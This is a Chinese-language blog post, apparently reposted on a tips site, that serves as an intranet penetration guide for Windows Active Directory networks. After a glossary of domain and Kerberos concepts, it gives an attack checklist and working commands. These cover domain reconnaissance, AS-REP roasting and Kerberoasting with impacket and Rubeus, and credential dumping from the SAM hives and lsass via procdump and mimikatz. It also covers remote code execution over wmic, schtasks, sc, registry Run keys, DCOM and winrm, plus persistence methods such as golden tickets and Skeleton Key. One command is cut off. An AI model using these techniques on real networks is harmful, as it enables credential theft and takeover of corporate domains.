1. 程式人生 > 實用技巧 >內網滲透大全

內網滲透大全

格式未整理,不過都是搞技術的,自行忽略格式,看看相關理論才是最重要吧

  • 術語
    工作組:工作組是區域網中的一個概念,他是長久的資源管理模式。預設情況下使用工作組方式進行資源管理,將不同的computer按照不同的要求分類到不同的組
    域:用來描述一種架構,和“工作組”相對應,由工作組升級而來的高階架構,域 (Domain)是一個有安全邊界的計算機集合( 安全邊界,意思是在兩個域中,一個域中的使用者無法訪問另一個域中的資源)。可以簡單的把域理解成升級版的“工作組”,相比工作組而言,它有一個更加嚴格的安全管理控制機制,如果你想訪問域內的資源,就必須擁有一個合法的身份登陸到該域中,而你對該域內的資源擁有什麼樣的許可權,還需要取決於你在該域中的使用者身份。
    * 域術語:
    DC:域控,域的建立者
    域管理:域控上的管理員
    AD活得目錄:Active Directory
    NTDS.dit:域使用者帳戶以域資料庫的形式儲存在活動目錄中
    Ntdsutil.exe-ntdsutil.exe是域控制器自帶的域資料庫管理工具,從windows Server 2008開始就預設自帶了。因此我們可以通過ntdsutil.exe提取出域中所有的域使用者資訊
    常見結構:組織單元(OU)、域(DOMAIN)、域數(tree)、域森林(forest),在域樹內的所有域共享一個活動目錄,這個活動目錄內的資料分散地儲存在各個域內,且每一個域只儲存該域內的資料
    活動目錄:
    * 帳號集中管理:所有帳號均存在伺服器上,方便對帳號的重新命名/重置密碼。
    * 軟體集中管理:統一推送軟體,統一安裝網路印表機等。利用軟體釋出策略分發軟體,可以讓使用者自由選擇安裝軟體。
    * 環境集中管理:利用AD可以統一客戶端桌面,IE,TCP/IP等設定。
    * 增強安全性:統一部署防毒軟體和掃毒任務,集中化管理使用者的計算機許可權、統一制訂使用者密碼策略等,可監控網路,資料統一管理。
    * 更可靠:更少的宕機時間。如:利用AD控制使用者訪問許可權,利用群集、負載均衡等技術對檔案伺服器進行容災設定,更可靠,宕機時間更少。
    * 活動目錄為Microsoft統一管理的基礎平臺,其它 ISA、Exchange、SMS 等服務都依賴於這個基礎平臺。

      	預設使用者組:
      		* Builtin容器:Builtin容器是Active Driectory預設建立的第一個容器,主要用於儲存域中本地安全組。
      		* Computers容器:Computers容器是Active Driectory預設建立的第2個容器,用於存放Windows Server 2008域內所有成員計算機的計算機賬號。
      		* Domain Controllers容器:Domain Controllers是一個特殊的容器,主要用於儲存當前域控制器下建立的所有子域和輔助域。
      		* Users容器:Users容器主要用於儲存安裝Active Driectory時系統自動建立的使用者和登入到當前域控制器的所有使用者賬戶
      	
      	域結構:
      		* 單域:在一般的具有固定地理位置的小公司裡,建立一個域就可以滿足所需。
      		* 域樹:域樹指若干個域通過建立信任關係組成的集合。一個域管理員只能管理本域的內部,不能訪問或者管理其他的域,二個域之間相互訪問則需要建立 信任關係 (Trust Relation)。信任關係是連線在域與域之間的橋樑
      		* 域林:由一個或多個沒有形成連續名稱空間的域樹組成,林中每個域樹都有唯一的名稱空間,之間不連續
      		* 父域和子域:第一個域稱為父域也可以叫根域 ,各分部的域稱為該域的子域
      		
      		Example:
      			只有一個test.com的域叫作域林,又叫單域林
      			有一個域叫test.com和一個域叫abc.test.com,test.com叫父域,abc.test.com子域。子域建立在父域的基礎上,雙方自動擁有雙向信任,這又叫域樹
      	
      	域信任關係:
      		* 單向信任:單向信任只能是受信任域訪問信任域,而信任域不能訪問受信任域
      		* 雙向信任:兩個域可以互相訪問
      		* 父子信任:父域與子域之間自動建立起了雙向信任關係,並且信任關係可以傳遞
      		* 樹信任:同一個林中,林根域與其他樹根域自動建立雙向信任關係。信任關係可傳遞
      		* 快捷方式信任:為了加速認證流程而產生的信任關係。需要管理員手工建立,信任關係可向下傳遞
      		* 林信任:在不更改AD結構的情況下,讓不同林之間可以相互訪問資源。信任關係可向下傳遞
      		* 外部信任/ 跨林快捷方式信任:類似於同林內的快捷方式信任. 單向, 信任關係不可傳遞
      		* 領域信任:為了讓AD跟非windows系統的kerberos建立關係而存在的信任
      	
      	預設使用者krbtgt:
      		每個Active Directory域都有一個關聯的KRBTGT帳戶,該帳戶用於加密和簽名該域的所有Kerberos票證。這是一個域帳戶,以便所有可寫域控制器都知道該帳戶的密碼,以便解密Kerberos票證以進行驗證。每個只讀域控制器(RODC)都有自己的個人KRBTGT帳戶,用於在自己的站點中對Kerberos票證進行加密/簽名。RODC具有通過該帳戶的反向連結與RODC關聯的特定KRBTGT帳戶
      	
      	協議(什麼認證過程之類的就不寫了,太麻煩了):
      		kerberos
      			概念:
      				1、KDC 服務預設會安裝在一個域的域控中(認證中心)
      				2、從物理層面看,AD與KDC均為域控制器(Domain Controller)
      				3、AD其實是一個類似於本機SAM的一個數據庫,全稱叫account database,儲存所有client的白名單,只有存在於白名單的client才能順利申請到TGT
      				4、KDC 服務框架中包含一個 KRBTGT 賬戶,它是在建立域時系統自動建立的一個賬號,你可以暫時理解為他就是一個無法登陸的賬號,在發放票據時會使用到它的密碼 HASH 值。
      				TGT:kerberos票據
      				TGS:服務票據
      		
      		S4U2Self
      			通過此擴充套件可以拿到一張標識任意使用者身份的TGS(圖中是去獲取的使用者X身份的TGS),上文已經解釋過了,它的作用其實是協議轉換。當用戶X使用非Kerberos協議請求網站A的時候,網站A是沒有使用者X的TGS的,但是是網站A要去獲取檔案伺服器B的訪問許可權(TGS)需要使用者X的TGS,因此S4U2Self解決了這個問題,網站A伺服器可以使用它去向KDC請求一張使用者X身份的TGS,網站A伺服器再用這張TGS去發起S4U2proxy請求。
      		S4U2proxy 
      			該拓展作用是使用一張使用者X身份的TGS去向KDC請求一張用於訪問檔案伺服器B的TGS,這張TGS的身份還是使用者X,這樣網站A就可以利用使用者X的許可權去訪問檔案伺服器B上的檔案了
      		
      	票據:
      		黃金票據:通過使用krbtgt的hash偽造某個使用者的TGT,可以訪問域內任何一臺computer
      		白銀票據:通過s4u申請高許可權TGS可以用高許可權的TGS訪問service
    
  • 判斷是否有內網

    • 明確獲取目標內網網段地址範圍
    • 內網是否有域
  • 內網資訊蒐集

    • 無域

      • 蒐集存活主機

      • 存活主機的系統型別

      • 蒐集內網的web主機

        • CMS識別
        • 內網ip和域名的繫結
        • 擁有漏洞的站點
      • 有資料庫的主機

      • 內網路由

      • 內網資料庫主機

      • 內網印表機 (少見)

      • 內網常見的服務

        • smb -> net view
        • ssh
        • vpn
        • ftp
        • rdp
    • 有域

      • 判斷DC
      • 是否多域
      • 擁有服務的使用者資訊查詢(spn)
      • 檢視域使用者
      • 蒐集存活主機(涵蓋無域所收集的)
      • 當前域使用者所屬組
      • 有ACL屬性的使用者收集
      • ldap資訊收集(如果可以)
  • 橫向

    • 無域

      • 各種win exp可利用的洞
        • MS08-067
        • MS17-010
        • SMBGhost
        • 未知洞
        • smb hash釣魚
        • hash傳遞攻擊
      • web攻擊
      • 釣魚管理員
    • 有域

      • 各種win exp可利用的洞
      • ldap攻擊
      • kerberos攻擊
        • 未要求Kerberos驗證的使用者
        • kereros非約束委派攻擊
          • 非約束委派+Spooler印表機服務 製作黃金票據
          • kerberos非約束委派中繼攻擊
        • kerberos約束委派攻擊
          • 受限委派 + DCSync 維持域許可權
        • MS14-068攻擊
        • kerberos資源委派攻擊(從widnows server 2012開始才有)->ACL屬性的使用者攻擊
        • GPP漏洞
  • 許可權維持

    • 有域
      • 變種金票 (適用於windows server 2008或以下,12開始不能使了)
      • 受限委派 + DCSync 維持域許可權
      • 非約束委派+Spooler印表機服務 製作黃金票據
      • Kerberoasting (利用powershell請求SPN的TGS,然後匯出破解得到server的密碼(感覺沒啥必要破解))
      • DSRM密碼同步
      • 利用GPO給域內的主機批量執行指令碼
      • SSP
      • Skeleton Key
      • Hook PasswordChangeNotify
      • LAPS
  • 檢查能否出網

    • ping
    • tracert -d -h
    • curl
  • 憑證查詢

    • cmdkey /list查詢當前憑證
    • klist查詢當前票據
    • 登入的密碼 or hash
    • 瀏覽器密碼
    • 各種服務的密碼
      • FTP
      • mysql
      • mssql
      • ssh
      • vnc
  • 內網釣魚

    • NTLM-Relay
    • smb資原始檔跳轉
    • 惡意lnk
    • 其他
  • 日內網常見的入口點

    • web拿到shell->上線
    • sqlmap os-sell->上線
    • 附件釣魚->釣魚
    • 其他
  • 域內/內網 常用命令分類
    判斷內網是否域環境


net config workstation #判斷是否顯示登入域,如果有則代表存在域環境(查詢機器屬於那個域)
net user /domain #如果返回正常,則代表有域環境

判斷內網DC

ipconfig /all #DNS地址,如果有兩個不同的DNS可能有多個DC
set l #獲取域控主機名然後去ping主機名
net time /domain #查詢域主機名,ping主機名得到ip
ping #直接ping域名活得域控主機ip
埠掃描尋找內網開放53埠(DNS解析)的主機或者開了88埠(Kerberos服務),更準確一點確認的就是53和88埠一起開放的機子

多域判斷

nltest /domain_trusts #查詢域信任關係 (abc.xxx.com,xxx.com這種是域樹,xxx.com,ccc.com這種叫域林,沒域信任或只有個域的就是單域)

SPN查詢

setspn -T -Q / #尋找類似於:CN=krbtgt,CN=Users,DC=DOMAIN,DC=local這樣的,第一個CN是使用者 (圖片補充)
使用powershell指令碼查詢:
powershell -f GetUserSPNs.ps1(圖片補充)
倉庫地址:https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1

Rubeus查詢:(獲取是spn使用者的hash)
Rubeus.exe kerberoast(圖片補充)

域使用者查詢

net user /domain #域使用者
net user /domain #指定域使用者查詢
net group /domain #查詢域使用者組
net group "<group_name>" /domain #查詢某個域使用者組(檢視net group /domain列出來的域使用者組)
net group "domain admins" /domain #域管理
net group "Domain Controllers" /domain #域控列表查詢

蒐集存活主機

arp -a | findstr 動態
工具:
* S掃描器
* nmap
* Goby
* IP Scan
* masscan
* 其他

內網共享查詢

net share
net view
net view /domain

  • 攻擊方法
    有域

未要求Kerberos驗證的使用者
要求:
* 擁有域使用者列表

使用者如下示例(補充圖片)

使用impacket工具:
python3 GetNPUsers.py DOMAIN/ -usersfile /tmp/user.txt -format john -outputfile /tmp/out.txt -dc-ip 192.168.1.109
(補充圖片)

kerberos非約束委派攻擊:
* 委派的是主機->得到被委派主機的許可權
* 委派的是使用者->得到被委派主機的許可權

kerberos約束委派攻擊:
* 得到被委派的使用者賬戶或hash或TGT

查詢了設定非委派約束的使用者
Ps:域控制器主機賬戶預設開啟非限制委派
利用SharpView(PowerView的C#版)
https://github.com/tevora-threat/SharpView
該工具的命令格式是:SharpView.exe

執行:
SharpView.exe Get-Netuser -Unconstrained -Domain DOMAIN.local(圖片補充) 感覺還是setspn查出來的靠譜
SharpView.exe Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -Domain DOMAIN.local

查詢設定了約束委派的使用者:
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl

新版PowerView

Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=))" -Domain lab.local
Get-NetComputer-Filter "(&(samAccountType=805306369)(msds-allowedtodelegateto=
))" -Domain lab.local

域內常用的工具:
mimikatz
kekeo
Rubeus
Spooler
lazagne
Bloodhound
PowerView
impacket套件

埠轉發:
netsh
ssh
reGeorg
ew
lcx

常見獲取憑證的手法:
登錄檔dump:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

lsass dump:
prodump匯出:
prodump -ma lsass.exe lsass.dump

	mimikatz:
	sekurlsa::mimidump lsass.dump
	sekurlsa::logonpasswords

mimikatz匯出:
privilege::debug
token::elevate
lsadump::sam

常見遠端連線:
* ipc
net use \1.1.1.1\ipc$ “password” /user:username

* wmic
	wmic /user:"jumbolab.com\win7user"  /password:"password" /node:172.16.127.184 process call create "notepad"
	(powershell) Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’

* schtasks
	schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru “SYSTEM” /tn “windowsupdate”  /sc DAILY /tr “calc” /F

* at
	at \\1.1.1.1 15:15 ca

* sc
	sc \\1.1.1.1 create windowsupdate binpath= “calc”
	sc \\1.1.1.1 start windowsupdate

* reg
	reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
	
* DCOM
	net use \\1.1.1.1 “password” /user:domain.com\username
	
	powershell
	a->
	$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
	$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

	b->
	$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
	$obj = [System.Activator]::CreateInstance($com)
	$item = $obj.item()
	$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

	c->
	$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
	$obj = [System.Activator]::CreateInstance($com)
	$obj.Document.Application.ShellExecute("cmd.exe","/c 

* winrm
	1.winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password  "whoami"
	2.winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "